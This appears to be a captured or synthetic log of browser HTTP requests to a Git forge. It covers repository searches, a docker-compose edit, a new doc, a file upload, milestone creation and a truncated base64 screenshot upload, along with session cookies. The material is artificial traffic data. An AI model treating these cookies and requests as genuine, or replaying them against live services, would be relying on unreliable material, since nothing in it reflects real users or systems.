{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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